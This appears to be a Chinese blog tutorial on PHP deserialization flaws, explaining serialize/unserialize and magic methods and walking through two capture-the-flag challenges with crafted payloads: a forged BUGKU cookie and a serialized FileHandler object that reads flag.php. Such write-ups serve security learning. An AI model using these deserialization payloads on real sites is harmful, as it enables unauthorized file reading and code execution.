php反序列化&java(1)

一.要点

1.原理

序列化就是将对象转换为字符串,反序列化相反,数据的格式的转换对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。

2.技术

(1)有类(class)    触发魔术方法

(2)无类

3.利用

真实应用,ctf比赛中

4.危害

SQL注入,代码执行,目录遍历等

 二.php反序列化

原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

serialize()    //将一个对象转化成一个字符串
unserialize()    //将一个字符串还原成一个对象

触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法

 案例一:PHP反序列化无类情况(本地测试)

即使用unserialize()的对立serialize()即可,php中===表示数据类型,值均相同

<?php
$key = 'abcd';
echo serialize($key);
?>

 代码执行结果为        s:4:"abcd";

 如上url请求即可完成。

若为整型,结果如下,更改url为执行结果即可

<?php
$key = 123;
echo serialize($key);
?>

//执行结果    i:123;

 案例二:Bugku靶场   --题目:点了login咋没反应

点击login没反应,查看源代码,发现admin.css点击

 

 发现try ?5491    尝试加在url上,出现如下代码,进行分析

<?php
error_reporting(0);
$KEY='ctf.bugku.com';
include_once("flag.php");
$cookie = $_COOKIE['BUGKU'];
if(isset($_GET['5491'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}
else {
?> 

思路:我们可以构造BUGKU的序列化和KEY的值相等来达到获取flag的目的
于是构造序列化

   

 

 分析可以尝试构造

Cookie: BUGKU=s:13:"ctf.bugku.com";

burp抓包修改cookie值放包即可

if(isset($_GET['5491'])){
    show_source(__FILE__);

elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}

注意分析,如果添加此5491参数会显示源代码页面,也就不会对比key,所以抓包时不要在url加?5491,返回源地址抓包修改cookie即可

 案例三:PHP反序列化有类情况

举例:创建一个对象就会自动调用__construct()函数

__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__construct() //创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

  CTFHub靶场   --题目:AreUserialz

 这里只给出解题结果,具体参考wp:buuctf初学者学习记录--[网鼎杯 2020 青龙组]AreUSerialz_pakho_C的博客-CSDN博客

分析源码写出解决:

 

O:10:"FileHander":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

protected类型的属性序列化后存在不可打印字符。protected类型的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid()校验,%00字符ascii码为0,所以不显示,变量前面会存在多出一个*

private类型的属性序列化后也会产生不可打印字符,对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public,以消除不可打印字符。

payload:

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

 本题主要练习在PHP反序列化有类情况的解决方法,其中包含魔术方法以及php弱类型比较等知识点

猜你喜欢

转载自blog.csdn.net/weixin_52221158/article/details/126343828